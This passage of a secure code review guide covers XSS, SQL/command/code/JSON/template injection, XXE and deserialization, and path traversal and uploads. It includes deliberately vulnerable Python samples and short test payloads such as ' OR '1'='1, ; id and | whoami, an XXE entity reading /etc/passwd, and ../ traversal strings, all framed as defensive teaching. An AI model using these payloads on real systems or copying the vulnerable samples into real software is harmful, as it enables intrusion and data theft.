3. **Locate every read path for the same column.** Agent queues, email digests, search indexes, and JSON endpoints may reuse ticket body without the developer noticing.
4. **Inspect the sink in `list_tickets`.** The loop builds HTML with f-strings. Any stored `<script>` executes in the victim browser. Flag string-built HTML; prefer templates with auto-escape.
5. **Check filters vs encoding.** If you see `bleach.clean` or regex validation, read whether it is allowlist-based and whether output still uses encoding at the template boundary.
6. **Review secondary contexts.** Stored data in href, event handlers, `<script type="application/json">`, or Markdown renderers needs context-specific encoding, not only HTML body encoding.
7. **Confirm cross-user impact.** Ask who can view the stored field. Payloads in shared feeds or admin views are often higher severity than self-only profile preview.

Risk Impact (Family)

Session and account abuse. Script in a trusted origin can read non-HttpOnly cookies, perform actions as the victim, or steal anti-CSRF tokens.

Data and UI integrity. Attackers can alter visible content, inject fake login forms, or exfiltrate page content to an external host.

Privilege escalation paths. Stored XSS in admin-only views is a common path to compromise operators who did not submit the payload.

Compliance and trust. Persistent script in customer-facing apps can trigger incident response, breach notification analysis, and reputational harm even when exploitation is limited to a subset of users.

Fix Principles

Primary safer patterns for the worked example follow. For other languages and variant-specific fixes, use the [family appendix](#).

Python

Use templates with auto-escaping enabled. Never mark user content safe unless a vetted sanitizer produced it.

```
from flask import Flask, render_template
from markupsafe import escape

app = Flask(__name__)
app.jinja_env.autoescape = True # default in Flask for .html

@app.route("/support/tickets")
def list_tickets():
    rows = db.execute("SELECT subject, body FROM tickets ORDER BY created_at DESC").fetchall()
    return render_template("tickets.html", tickets=rows)

# Manual encoding when building non-template fragments:
safe_body = escape(row["body"])
```

Important: `|safe` in Jinja2 disables escaping. Use only for trusted, server-generated HTML. For rich text, sanitize with an allowlist library before optional `|safe`.

```
import bleach

ALLOWED_TAGS = ["b", "i", "p", "a"]
ALLOWED_ATTRS = {"a": ["href", "title"]}
clean_body = bleach.clean(ticket_body, tags=ALLOWED_TAGS, attributes=ALLOWED_ATTRS, strip=True)
```

Verify During Review

Use the checklist below as a family-level pass over the variants above. Each item should map to evidence in the change under review.

- Trace **write** → **storage** → **every HTML sink** for the same field.
- Confirm templates use framework auto-escape; no `|safe`, `th:utext`, `@Html.Raw`, or `innerHTML` on untrusted stored data.
- Encoding or vetted sanitization happens at **render time**, not only on input.
- Admin and export views treat stored fields like public views.
- CSP and HttpOnly cookies are defense in depth, not the primary XSS control.
- Every reflected parameter is HTML-encoded at the template or response sink, including error and validation messages.
- Search, login failure, and 404 handlers do not echo raw request data.
- JavaScript contexts that embed reflected values use JSON serialization plus encoding, not string concatenation.
- Redirect and callback parameters are validated; open redirects are not chained with reflected script sinks.
- Encoding is applied per output context (HTML body, attribute, URL, JavaScript).
- Every `location`, `storage`, and `postMessage` source traced to DOM/JS sinks in client code and inline scripts.
- No `innerHTML`, `document.write`, `eval`, or `dangerouslySetInnerHTML` / `v-html` on attacker-influenced data without vetted sanitization.
- OAuth and callback pages reviewed for hash and query handling on page load.
- CSP restricts inline script where feasible; DOM XSS review still required—CSP is defense in depth.
- Dynamic scanners supplemented with manual `#fragment` and client-route test cases.

Code Reference (Appendix)

Payloads, language-specific sinks, multi-language examples, and full fix catalogs for every variant live in [4.1 code reference — Review XSS](#).

Reference

- Appendix — [4.1 code reference](#)
- [CWE-79: Cross-site Scripting](#)
- [OWASP XSS Prevention Cheat Sheet](#)
- [Jinja2 — Controlling autoescaping](#)
- [MarkupSafe documentation](#)
- [bleach documentation](#)
- [Python html.escape](#)

- [OWASP Java Encoder](#)
- [Jakarta Tags — c:out](#)
- [ASP.NET Razor syntax — implicit encoding](#)
- [WebUtility.HtmlEncode](#)
- [Go html/template package](#)
- [Go html.EscapeString](#)
- [OWASP DOM Based XSS](#)
- [MDN — Element.innerHTML](#)
- [MDN — URLSearchParams](#)
- [DOMPurify](#)
- [React — dangerouslySetInnerHTML](#)
- [Vue — v-html](#)

4.2 - Review Interpreter Injection

Overview

Interpreter injection happens when attacker-controlled data is concatenated into a language the runtime will parse—SQL, shell, eval, templates, or crafted JSON structures. The shared review move is to separate **structure from data** (parameters, argv arrays, safe template APIs) and refuse user influence over identifiers that must stay allowlisted.

The points below are the ideas this family chapter uses again and again.

1. Interpreter injection concatenates attacker data into a language the runtime will parse.
2. Separate structure from data with parameters, argv arrays, or safe template APIs.
3. SQL, command, code, JSON, and SSTI share that boundary failure with different interpreters.
4. Refuse user influence over identifiers that must stay allowlisted.
5. Record source, sink, missing control, impact, and a proving test.

After reading this chapter, we should be able to spot interpreter-boundary failures across SQL, shell, eval, JSON, and templates with shared evidence habits.

Shared Review Model

Across every variant below, keep the same evidence habit: name the **source**, the **sink**, the **missing control**, the **impact**, and a **test** that would prove a fix.

Variants in This Family

SQL injection {:#sql }

SQL injection occurs when data from a user or external system is included in a SQL statement without proper parameterization. The attacker supplies metacharacters such as quotes, comment markers, or boolean operators that alter the query structure. Impact may include authentication bypass, unauthorized reads, data modification, or—in some configurations—execution of database server commands.

Where to look

Signal	Where to look
Feature type	Login, search, filters, reporting, admin dashboards, bulk export, audit queries
Input entry	HTTP parameters, JSON fields, headers, cookies, upstream service responses
Query construction	String concatenation, f-strings, <code>format()</code> , <code>ORM.raw()</code> / <code>FromSqlRaw</code> / <code>\$queryRaw</code>
Dynamic fragments	<code>ORDER BY</code> , column names, table names, <code>IN (...)</code> clauses built from user strings
Weak controls	Escaping quotes only, denylist of <code>'</code> , <code>;</code> , <code>--</code> , <code>#</code> without parameter binding
Second-order paths	Values stored earlier and later embedded in queries without parameterization

Appendix detail: [SQL injection code reference](#).

Command injection { `#command` }

Command injection vulnerabilities arise when a developer executes an external command with a parameter that the user controls. The application already invokes system utilities—ping, ImageMagick, git, tar—and attacker input extends or replaces intended arguments. Shell metacharacters such as `;`, `|`, `&&`, ```, and `$()` let the attacker run arbitrary commands with the application's OS privileges.

Where to look

Signal	Where to look
Feature type	Network diagnostics, PDF/image conversion, git hooks, backup restore, CI triggers, admin shell tools
Input entry	HTTP parameters, uploaded filenames, webhook payloads, config values
Process APIs	<code>subprocess</code> , <code>Runtime.exec</code> , <code>ProcessBuilder</code> , <code>Process.Start</code> , <code>exec.Command</code>
Shell usage	<code>shell=True</code> , <code>/bin/sh -c</code> , <code>cmd.exe /c</code> , single command-line strings with user data
Weak controls	Regex denylist of metacharacters, <code>shlex.quote</code> as the only defense
High impact context	Processes running as root, container escape paths, shared hosting environments

Appendix detail: [Command injection code reference](#).

Code injection {:#code }

Code injection is similar to command injection, but the attacker injects source code in a language the application executes—JavaScript, Python, Groovy, SpEL, OGNL—not OS shell commands. The application exposes an evaluation primitive for business rules, math expressions, or user-defined logic. Attacker input becomes part of that program and runs with the interpreter's privileges.

Where to look

Signal	Where to look
Feature type	Formula fields, workflow rules, admin script consoles, plugin hooks, webhook transformers
Input entry	HTTP parameters, JSON rule bodies, uploaded config, admin-only text areas
Evaluation APIs	<code>eval</code> , <code>exec</code> , <code>ScriptEngine.eval</code> , SpEL, OGNL, <code>Function()</code> , pickle/yaml unsafe loaders
Concatenation patterns	Expression strings built with <code>+</code> or f-strings before evaluation
Weak controls	Sandbox claims without verified restrictions on imports, reflection, file I/O
Overlap with SSTI	Template engines that compile user-supplied source at runtime

Appendix detail: [Code injection code reference](#).

JSON injection {:#json }

JSON injection is a server-side injection flaw. The application treats JSON as plain text or merges untrusted key-value pairs into objects that drive authorization, pricing, or workflow state. Attackers add fields, close strings early, or inject nested objects the developer did not intend.

Where to look

Signal	Where to look
Feature type	Profile updates, checkout, order APIs, settings save, webhook relay, OAuth token handling
Input entry	JSON bodies, form fields embedded in JSON, query parameters serialized to JSON
String-built JSON	f-strings, concatenation of <code>{</code> , <code>}</code> , <code>"</code> , <code>:</code> from HTTP input without a serializer
Mass assignment	<code>dict.update</code> , spread operators, reflection that copies all client keys into models
Weak controls	Untyped <code>Map<String, Object></code> , missing schema validation, trusting client price or role fields
Downstream trust	Microservices or batch jobs that accept JSON from a prior tier without re-validation

Appendix detail: [JSON injection code reference](#).

Server-side template injection {:#ssti }

SSTI is a server-side code injection flaw in templating engines. Templates mix static markup with expression placeholders. When attacker-controlled text becomes part of the template itself—or is interpreted as an expression—the engine may execute code with server privileges.

Where to look

Signal	Where to look
Feature type	Email preview, notification customization, PDF/HTML generators, admin theme editors
Input entry	Form fields, query parameters, stored user templates re-rendered at runtime
Compile-from-string	Template(userInput), from_string, process(String), Parse(userText), Razor string compilation
Expression contexts	<code>\${}</code> , <code>{{}}</code> , <code>#{{}}</code> , SpEL in views, inline template directives
Weak controls	safe, th:utext, @Html.Raw, autoescape=False on user-influenced template source
Distinction from XSS	SSTI executes on the server during render; XSS executes in the victim browser

Appendix detail: [Server-side template injection code reference](#).

Worked Example (SQL injection)

We walk **SQL injection** in depth. Apply the same tracing steps to the other variants, adjusting sources and sinks from the tables above.

Sample vulnerable code (Python)

```
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route("/reports/export")
def export_report():
    # Attacker-controlled region filter and sort column from query string
    region = request.args.get("region", "")
    sort_col = request.args.get("sort", "created_at")
    cursor = db.cursor()
    # Sink: user input concatenated into SQL – changes query structure
    cursor.execute(
        f"SELECT id, total, region FROM orders "
        f"WHERE region = '{region}' ORDER BY {sort_col}"
    )
    return jsonify(cursor.fetchall())
```

Step-by-step review walkthrough

1. **Find every database call.** Search for ORM raw queries, DB-API cursors, and stored procedure invocations built from strings.
2. **Trace the Python (or equivalent) input path.** In the sample, `region` and `sort_col` flow into an f-string. Ask whether any placeholder binding exists; there is none.
3. **Inspect concatenation patterns.** Flag `+`, `%`, f-string, and `format()` that include request data in SQL text.
4. **Review dynamic identifiers.** Column names, table names, and `ORDER BY` clauses from user input need allowlists, not quoting alone.
5. **Follow ORM escape hatches.** Audit `.raw()`, `.extra()`, `text()` with string interpolation, and similar APIs.
6. **Check second-order SQLi.** Values read from the database and later embedded in queries must use the same binding rules as direct input.
7. **Confirm error handling.** Ask whether failed queries expose full SQL or stack traces to untrusted clients.

Risk Impact (Family)

Authentication bypass. Login queries with string-built credentials may return rows when attackers inject `' OR '1'='1`.

Data exposure. `UNION SELECT` and blind boolean or timing techniques can read tables the application role can access.

Data integrity. Injected `UPDATE` or `DELETE` statements may modify or destroy records when write access exists.

Server compromise. Some database configurations allow stacked queries or extension loading that escalates to OS-level impact.

Fix Principles

Primary safer patterns for the worked example follow. For other languages and variant-specific fixes, use the [family appendix](#).

Python

Use DB-API parameterized queries or ORM filters. Never interpolate user strings into SQL text.

```
@app.route("/reports/export")
def export_report():
    region = request.args.get("region", "")
    sort = request.args.get("sort", "created_at")
    cursor = db.cursor()
    cursor.execute(
        "SELECT id, total, region FROM orders WHERE region = ? ORDER BY created_at",
        (region,),
    )
    return jsonify(cursor.fetchall())
```

```
# SQLAlchemy – prefer ORM filters or bound text():
from sqlalchemy import text

session.execute(
    text("SELECT id, total FROM orders WHERE region = :region ORDER BY created_at"),
    {"region": region},
)
```

Important: Dynamic column or table names cannot use ? placeholders. Map user choices to a fixed allowlist before query assembly.

```
ALLOWED_SORT = {"created_at", "total", "region"}
sort = request.args.get("sort", "created_at")
if sort not in ALLOWED_SORT:
    sort = "created_at"
cursor.execute(f"SELECT id, total, region FROM orders ORDER BY {sort}") # sort is allowlisted only
```

Verify During Review

Use the checklist below as a family-level pass over the variants above. Each item should map to evidence in the change under review.

- All user-derived values use bound parameters; no string concatenation into SQL text.
- Dynamic ORDER BY, column, and table names use allowlists, not user strings wrapped in quotes.
- ORM raw-query escape hatches are audited and rare; each instance has a documented safe pattern.
- Second-order queries parameterize values read from the database the same way as direct input.
- Database accounts follow least privilege; the application role cannot run admin commands unnecessarily.
- Error responses do not return full SQL statements or stack traces to untrusted clients.
- User input never appears in shell command strings (`sh -c, cmd /c, shell=True`).
- Process APIs use argument arrays with allowlisted or strictly validated values per argument.
- External commands are removed or replaced with in-process libraries where feasible.
- Filenames and paths passed to CLI tools are canonicalized and restricted to expected directories.
- The OS account running subprocesses has minimal permissions.
- Security tests include metacharacter payloads (`(; id, | whoami, `id` )`) in relevant parameters.
- No `eval`, `exec`, `ScriptEngine.eval`, or equivalent processes HTTP-derived strings.
- User "formulas" use a vetted arithmetic or rules DSL with a fixed grammar, not a general-purpose language.
- Expression languages have restricted contexts: no arbitrary type loading, reflection, or file I/O.
- Admin rule editors require strong authentication, authorization, and audit trails.
- Template engines do not compile user-supplied template source at runtime.
- Alternatives were considered: static code, configuration tables, or server-side business logic replace dynamic evaluation.
- No hand-built JSON strings include HTTP parameters without proper escaping through a serializer.
- Request bodies bind to typed DTOs with unknown fields rejected or ignored by policy.
- Price, role, ownership, and status fields are set server-side, not copied from client JSON.
- Schema validation runs at the API boundary and in tests for extra-key and type-confusion cases.
- JSON stored in databases or queues is produced by libraries, not string templates.
- Downstream consumers re-validate or treat upstream JSON as untrusted when crossing trust boundaries.
- User input is passed as template data variables, never concatenated into template source.
- No runtime `from_string`, `process(String)`, `Parse(userText)`, or Razor string compilation on HTTP input.
- Rich text features use sanitization libraries, not full template engines on user-authored markup.
- Preview and customization features require strong authorization and audit logging.
- Auto-escape defaults remain enabled; unsafe unescaped sinks are absent on untrusted fields.
- Engine-specific SSTI probes are covered in security tests for each dynamic render path.

Code Reference (Appendix)

Payloads, language-specific sinks, multi-language examples, and full fix catalogs for every variant live in [4.2 code reference — Review Interpreter Injection](#).

Reference

- [Appendix — 4.2 code reference](#)
- [CWE-89: SQL Injection](#)
- [OWASP SQL Injection Prevention Cheat Sheet](#)
- [Python sqlite3 — execute parameters](#)
- [SQLAlchemy — Sending Parameters](#)
- [JDBC PreparedStatement](#)
- [Spring JdbcTemplate](#)
- [MyBatis — #{} vs \\${}](#)
- [ADO.NET SqlCommand.Parameters](#)
- [Entity Framework Core — Raw SQL queries](#)
- [Go database/sql package](#)
- [GORM — Raw SQL](#)
- [CWE-78: OS Command Injection](#)
- [OWASP Command Injection](#)
- [Python subprocess — security considerations](#)
- [Java ProcessBuilder](#)
- [Apache Commons Exec](#)
- [C# ProcessStartInfo.ArgumentList](#)
- [Go os/exec package](#)
- [CWE-94: Improper Control of Generation of Code](#)
- [CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code](#)
- [Python ast.literal_eval](#)
- [simpleeval on PyPI](#)
- [exp4j](#)
- [NCalc](#)
- [expr-lang/expr](#)
- [Java ScriptEngineManager](#)
- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Variable Indexes](#)
- [OWASP Deserialization Cheat Sheet](#)
- [Python json module](#)
- [Pydantic v2 — model configuration](#)
- [jsonschema on PyPI](#)
- [Jackson ObjectMapper](#)
- [Jakarta Bean Validation](#)

- [System.Text.Json — unmapped members](#)
- [Go encoding/json — Decoder.DisallowUnknownFields](#)
- [JSON Schema specification](#)
- [OWASP Server-Side Template Injection](#)
- [Jinja2 — Template Designer Documentation](#)
- [Jinja2 SandboxedEnvironment](#)
- [Thymeleaf — th:text vs th:utext](#)
- [ASP.NET Core Razor views](#)
- [Go html/template package](#)
- [bleach documentation](#)

4.3 - Review Parsers and Unsafe Reconstitution

Overview

Parsers and object reconstitutors turn bytes into privileged behavior. When the parser follows external entities, includes paths, or deserializes attacker graphs, we inherit that power. Review whether the parser is locked down and whether untrusted streams ever reach it.

The points below are the ideas this family chapter uses again and again.

1. Parsers and object reconstitutors turn bytes into privileged behavior.
2. Lock down external entities, includes, and unsafe deserialization before untrusted streams reach them.
3. XXE, dynamic inclusion, and insecure deserialization share parser-trust failure.
4. Ask what power the parser inherits when it follows attacker-controlled structure.
5. Verify with source, sink, missing control, impact, and a proving test.

After reading this chapter, we should be able to review parser and reconstitution paths for inherited privilege and disable unsafe features by default.

Shared Review Model

Across every variant below, keep the same evidence habit: name the **source**, the **sink**, the **missing control**, the **impact**, and a **test** that would prove a fix.

Variants in This Family

XXE { : #xxe }

XML External Entity (XXE) is a server-side injection flaw in XML parsers. Documents may declare entities in a DTD that reference local files, internal services, or remote URLs. When the parser expands these entities, attacker-controlled XML can read sensitive files, perform SSRF, or cause denial of service through billion-laughs expansion.

Where to look

Signal	Where to look
Feature type	File uploads, SOAP/SAML, RSS/Atom feeds, SVG, Office XML, config import, Ant/build parsers
Input entry	HTTP bodies, uploaded files, webhook XML, SAML metadata, batch import jobs
Parser APIs	DOM, SAX, StAX, XmlReader, lxml, JAXB, Jackson XML unmarshalling
Factory defaults	<code>newInstance()</code> without secure features; partial hardening that leaves DTDs enabled
Transform chains	XSLT, XPath against untrusted docs, schema validation that loads external DTDs
Secondary parsers	SVG metadata, Android plist, Excel/Word embedded XML parts

Appendix detail: [XXE code reference](#).

Dynamic JSP inclusion { **#jsp-include** }

Dynamic JSP inclusion is a server-side path selection flaw. The application uses attacker-controlled strings to choose which JSP, servlet, or template fragment to render. Without strict allowlisting, the attacker may include arbitrary files within the web root or traverse directories with `../` sequences.

Where to look

Signal	Where to look
Feature type	Widget loaders, theme switches, AJAX partials, mobile layout pickers, dashboard tabs
Input entry	Query parameters, JSON fields, cookies, user preference settings
Include directives	<code><jsp:include page="..."></code> , <code><c:import url="..."></code> , <code>\${param.page}</code> in JSP paths
MVC view resolution	<code>return userInput, ModelAndView(viewName)</code> , dynamic Thymeleaf fragment paths
Weak controls	Prefix-only checks, string concat <code>"pages/" + name + ".jsp"</code> , no canonicalization
Cross-framework equivalents	Flask <code>render_template(user_path)</code> , Go <code>template.ParseFiles(name)</code> , Razor partial paths

Appendix detail: [Dynamic JSP inclusion code reference](#).

Insecure deserialization { **#deserialization** }

Deserialization converts stored or transmitted data back into runtime objects. When the format allows arbitrary types—or when gadget chains exist in the classpath—attackers can craft payloads that execute code during deserialization. Native object serialization in Java and pickle in Python are high-risk; even JSON can be unsafe when polymorphic type metadata is honored blindly.

Where to look

Signal	Where to look
Feature type	Session restore, cache reload, import/export, inter-service messaging, plugin state
Native serialization	ObjectInputStream, pickle.loads, PHP unserialize, .NET BinaryFormatter
Polymorphic parsers	Jackson default typing, XStream, XMLDecoder without type allowlists
Data sources	HTTP cookies, hidden fields, Redis, Kafka, session stores, uploaded files
Encrypted blobs	Serialization wrapped in encryption without authentication or integrity checks
Dependency risk	commons-collections and similar gadget-bearing libraries on the classpath
Safer alternatives missing	JSON/protobuf into plain DTOs with schema validation not used

Appendix detail: [Insecure deserialization code reference](#).

Worked Example (XXE)

We walk **XXE** in depth. Apply the same tracing steps to the other variants, adjusting sources and sinks from the tables above.

Sample vulnerable code (Python)

```
from lxml import etree

def parse_saml_assertion(data: bytes):
    # Attacker-controlled SAML XML from SSO callback
    # Sink: external entities may resolve – file read or SSRF
    parser = etree.XMLParser(resolve_entities=True)
    return etree.fromstring(data, parser)
```

Step-by-step review walkthrough

1. **Search for XML parsing entry points.** Find DOM, SAX, lxml, ElementTree, and unmarshalling APIs for SOAP or SAML.
2. **Trace the Python (or equivalent) parse path.** In the sample, `resolve_entities=True` explicitly enables entity expansion. Ask whether DTDs and network fetches are blocked; they are not.
3. **Inspect parser factory configuration.** Note defaults when no hardening appears after `newInstance()` or parser construction.
4. **Review file upload types.** SVG, DOCX/XLSX (ZIP plus XML), RSS, Atom, and SAML metadata all contain XML that may carry DTDs.

5. **Check wrapper libraries.** JAXB, Jackson XML, and SimpleXML inherit underlying parser settings—verify overrides.
6. **Identify outbound requests during parsing.** External entity URLs imply SSRF risk alongside local file disclosure.
7. **Confirm tests include XXE payloads.** `<!ENTITY x SYSTEM "file:///etc/passwd">` on every parser code path.

Risk Impact (Family)

Local file disclosure. External entities can read application secrets, credentials, and system files reachable by the parser process.

SSRF and internal scanning. Entity URLs may fetch cloud metadata, internal admin panels, or services on private networks.

Denial of service. Billion-laughs and quadratic entity expansion can exhaust memory and CPU during parse.

Credential theft at scale. Cloud instance metadata endpoints are a common XXE target when parsers can reach link-local addresses.

Fix Principles

Primary safer patterns for the worked example follow. For other languages and variant-specific fixes, use the [family appendix](#).

Python

Use `defusedxml` or hardened `lxml` settings. Disable entity resolution and network access.

```
from defusedxml import ElementTree as ET

def parse_saml_assertion(data: bytes):
    return ET.fromstring(data)
```

```
from lxml import etree

def parse_saml_hardened(data: bytes):
    parser = etree.XMLParser(
        resolve_entities=False,
        no_network=True,
        dtd_validation=False,
        load_dtd=False,
    )
    return etree.fromstring(data, parser)
```

Important: Standard library `xml.etree.ElementTree` is safer than misconfigured `lxml` but `defusedxml` is the recommended drop-in for untrusted XML.

Verify During Review

Use the checklist below as a family-level pass over the variants above. Each item should map to evidence in the change under review.

- Every XML parser sets `disallow-doctype-decl` or equivalent DTD prohibition on untrusted input.
- External general entities, parameter entities, and external DTD loading are disabled where DTDs must be supported.
- `XmlResolver` is null, `no_network=True`, or equivalent blocks outbound fetches during parse.
- XSLT and XPath processors use the same hardened reader settings as primary parsers.
- File upload filters that accept SVG, Office XML, or SAML assert XXE-safe parser configuration.
- Integration tests cover file disclosure and SSRF entity payloads for each parser code path.
- Include and view-resolution paths use allowlists or enums, not raw request parameters.
- Path normalization confirms resolved files stay within the intended templates directory.
- `../`, absolute paths, URL-encoded separators, and double-encoding are rejected.
- Partial and widget endpoints enforce authentication and authorization like full pages.
- No JSP under the web root exposes sensitive includes reachable through parameter tampering.
- Static and admin JSP files are not addressable through dynamic include parameters.
- User-controlled input is not passed to native object deserialization APIs.
- JSON, XML, and YAML parsers use strict schemas, safe loaders, and disabled polymorphic type gadgets.
- Session and cache blobs use signed and authenticated formats, or store opaque server-side keys instead of serialized objects.
- Dependencies with known deserialization CVEs are patched or removed.
- Safer data formats (JSON with DTOs) replace Java serialization and pickle in cross-trust-boundary flows.
- Error handling does not echo serialized payload details that aid exploit crafting.

Code Reference (Appendix)

Payloads, language-specific sinks, multi-language examples, and full fix catalogs for every variant live in [**4.3 code reference — Review Parsers and Unsafe Reconstitution**](#).

Reference

- Appendix — [4.3 code reference](#)
- [CWE-611: Improper Restriction of XML External Entity Reference](#)
- [OWASP XXE Prevention Cheat Sheet](#)

- [Python defusedxml](#)
- [lxml XMLParser](#)
- [Java DocumentBuilderFactory features](#)
- [OWASP XML External Entity Prevention — Java](#)
- [XmlReaderSettings.DtdProcessing](#)
- [Go encoding/xml package](#)
- [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](#)
- [CWE-829: Inclusion of Functionality from Untrusted Control Sphere](#)
- [Flask render_template](#)
- [Werkzeug safe_join](#)
- [Spring MVC — View resolution](#)
- [Jakarta Server Pages — jsp:include](#)
- [ASP.NET Core partial views](#)
- [Go embed package](#)
- [Go html/template — ParseFS](#)
- [CWE-502: Deserialization of Untrusted Data](#)
- [OWASP Deserialization Cheat Sheet](#)
- [JEP 290: Filter Incoming Serialization Data](#)
- [Python pickle documentation — warning](#)
- [PyYAML safe_load](#)
- [pydantic validation](#)
- [Gson user guide](#)
- [System.Text.Json documentation](#)
- [Go encoding/json Decoder.DisallowUnknownFields](#)

4.4 - Review Paths, Uploads, and Files

Overview

File and path bugs share one question: can a name or payload escape the intended directory or content type? Resolve and constrain paths, validate uploads by content and policy, and treat parsers of user files as hostile input.

The points below are the ideas this family chapter uses again and again.

1. File and path bugs ask whether a name or payload can escape the intended directory or content type.
2. Resolve and constrain paths; validate uploads by content and policy.
3. Treat parsers of user files as hostile input.
4. Traversal, upload, temp files, and unsafe parsing share that escape question.
5. Evidence still names source, sink, missing control, impact, and a proving test.

After reading this chapter, we should be able to constrain paths and uploads and verify every user-influenced file name against a safe root.

Shared Review Model

Across every variant below, keep the same evidence habit: name the **source**, the **sink**, the **missing control**, the **impact**, and a **test** that would prove a fix.

Variants in This Family

Path traversal { `#path-traversal` }

Path traversal (directory traversal) is a filesystem access flaw. Functions that open, read, write, or delete files concatenate attacker-controlled names with a base directory. Sequences like `../` or absolute paths escape the intended folder and reach sensitive files elsewhere on the server.

Where to look

Signal	Where to look
Feature type	File download, avatar serve, log tail, attachment read, ZIP/tar extract, backup restore
Input entry	Filename parameters, path segments, attachment IDs mapped to paths, archive entry names
Path construction	base + filename, f-strings, Path.join, send_file, http.ServeFile
Weak controls	Denylist of .. only, no canonical prefix check, URL-encoded traversal variants
Write/delete paths	Upload overwrite, extract-all without per-entry validation (zip slip)
Indirect paths	Database-stored filenames, object storage keys, cache keys resolved to filesystem paths

Appendix detail: [Path traversal code reference](#).

Insecure file path handling {: #file-path }

Path (directory) traversal occurs when the application uses attacker-controlled strings as file paths without confining access to an allowed base directory. Functions that serve files by name are the most common location. Concatenation and `Paths.get(base, userInput)` without a canonical path check can reach `/etc/passwd` or application configuration.

Where to look

Signal	Where to look
Feature type	File download, avatar serve, backup restore, attachment storage, static file handlers
Input entry	Params named file, filename, path, document, or IDs resolved to paths
Path sinks	<code>open()</code> , <code>FileInputStream</code> , <code>Paths.get(base, input)</code> , <code>sendFile</code> , cloud key builders
Weak controls	Denylist only (<code>contains("..")</code>), missing URL decode before validation
Write paths	Upload save, log rotation, export directories with crafted names
Symlink risk	Resolved paths escape via symlinks under the base directory

Appendix detail: [Insecure file path handling code reference](#).

Insecure file upload {: #upload }

Insecure file upload handling allows attackers to place unexpected content on server storage. Risks include uploading web shells when files land under a web root, cross-site content when browsers interpret uploads as HTML or SVG, virus propagation, quota exhaustion, and metadata tricks that bypass extension checks.

Where to look

Signal	Where to look
Feature type	Avatar, attachment, import, CMS media, presigned object uploads
Storage location	Web-accessible public/, servlet context roots, shared buckets with public ACL
Validation order	Extension-only checks, client Content-Type trusted, size limits after full buffer
Naming	Preserving originalFilename from client as on-disk path component
Active content	SVG/HTML allowed as inline "images", user MIME echoed on download
AuthZ gaps	Upload without matching download permission for other users' objects

Appendix detail: [Insecure file upload code reference](#).

Insecure temporary files { #temp-files }

Insecure temporary file handling exposes application, system, or user data on shared hosts. Attackers scan /tmp, guess filenames from PID patterns, or win time-of-check-time-of-use races by creating a symlink before the application writes.

Where to look

Signal	Where to look
Feature type	Export pipelines, upload staging, report generation, crypto scratch buffers, PDF temp output
Path patterns	/tmp/app.log, temporary.txt, tempfile_<pid>.txt, tick-only suffixes
Race windows	if file.exists() followed by separate open or write
Permission gaps	World-readable exports, missing 0600, chmod 777 on temp dirs
Cleanup gaps	Delete only on happy path; deleteOnExit without guaranteed removal
Shared hosts	Multi-tenant VMs, containers with shared /tmp, predictable PID-based names

Appendix detail: [Insecure temporary files code reference](#).

Insecure file parsing { #file-parsing }

Insecure file parsing treats attacker-supplied files as trustworthy input to complex format libraries. ZIP bombs, XML external entities (XXE), malicious Office macros, pickle payloads, and malformed images can exhaust memory, read local files, or execute code inside the parser or downstream handlers.

Where to look

Signal	Where to look
Feature type	Config import, archive upload, XML/YAML ingestion, image conversion, document preview
Parser types	ZIP, TAR, XML, YAML, pickle, Java serialization, PDF, image decoders
Unsafe loaders	yaml.load, pickle.load, ObjectInputStream, BinaryFormatter
Archive sinks	ZipEntry.getName() joined to output path without canonical check
Resource limits	Missing caps on entry count, uncompressed size, recursion depth
Post-parse use	Parsed objects fed into reflection, scripting, or dynamic SQL

Appendix detail: [Insecure file parsing code reference](#).

Worked Example (Path traversal)

We walk **Path traversal** in depth. Apply the same tracing steps to the other variants, adjusting sources and sinks from the tables above.

Sample vulnerable code (Python)

```
from flask import Flask, request, send_file

app = Flask(__name__)

@app.route("/avatar")
def serve_avatar():
    # Attacker-controlled avatar filename - may contain ../ sequences
    avatar = request.args.get("name")
    user_id = request.args.get("uid")
    # Sink: path built without canonicalization or root check
    return send_file(f"/var/www/avatars/{user_id}/{avatar}")
```

Step-by-step review walkthrough

1. **Find file I/O endpoints.** Search for download, upload, delete, and archive extract handlers that accept names or paths.
2. **Trace the Python (or equivalent) input path.** In the sample, avatar is concatenated into a user-specific path. Ask whether ../etc/passwd resolves outside /var/www/avatars/{user_id}.
3. **Inspect normalization.** Check for resolve(), getCanonicalPath(), filepath.Clean(), and whether results are compared to a trusted root prefix.

4. **Review weak filters.** Blocking only `..` substring may miss `....//`, URL encoding, Unicode separators, or absolute paths.
5. **Follow indirect paths.** Database-stored filenames and attachment IDs mapped to paths need the same root check.
6. **Inspect write and extract operations.** Traversal on upload or `extractall` can overwrite binaries or drop web shells.
7. **Check symlink behavior.** Resolved paths that follow symlinks may escape the intended directory.

Risk Impact (Family)

Sensitive file read. Attackers retrieve application secrets, source code, credentials, and system files such as `/etc/passwd`.

Arbitrary file write. Traversal combined with upload or extract may overwrite configuration or plant executable content in web-served directories.

Service disruption. Deleting or corrupting files outside the intended directory can break the application or host.

Compliance exposure. Unauthorized access to customer data files may trigger breach notification and audit findings.

Fix Principles

Primary safer patterns for the worked example follow. For other languages and variant-specific fixes, use the [family appendix](#).

Python

Resolve paths and verify they stay under the upload root. Prefer framework helpers.

```
from pathlib import Path
from flask import send_from_directory

AVATAR_ROOT = Path("/var/www/avatars").resolve()

@app.route("/avatar")
def serve_avatar():
    avatar = request.args.get("name", "")
    uid = request.args.get("uid", "")
    safe_path = (AVATAR_ROOT / uid / Path(avatar).name).resolve()
    if not safe_path.is_relative_to(AVATAR_ROOT):
        return "Forbidden", 403
    if not safe_path.is_file():
        return "Not found", 404
    return send_from_directory(safe_path.parent, safe_path.name)
```

```

from werkzeug.security import safe_join

path = safe_join("/var/www/uploads", filename)
if path is None:
    return "Invalid path", 400

```

Important: Use opaque stored filenames (UUIDs) on disk. Keep original names in metadata only.

Verify During Review

Use the checklist below as a family-level pass over the variants above. Each item should map to evidence in the change under review.

- Resolved filesystem paths are verified to stay within the intended base directory before I/O.
- User input never supplies absolute paths; directory separators and `..` sequences are rejected or stripped safely.
- Archive extraction validates every member path against the destination root (zip slip prevention).
- Download endpoints use framework helpers (`send_from_directory`, rooted file providers) where available.
- Stored filenames on disk are opaque identifiers, not raw client-provided names with path components.
- Suspicious traversal attempts are logged and covered by automated security tests.
- Every user-influenced path is resolved and verified to stay under an explicit base directory.
- Denylist checks for `..` are supplemented by canonical path containment, not replaced by them.
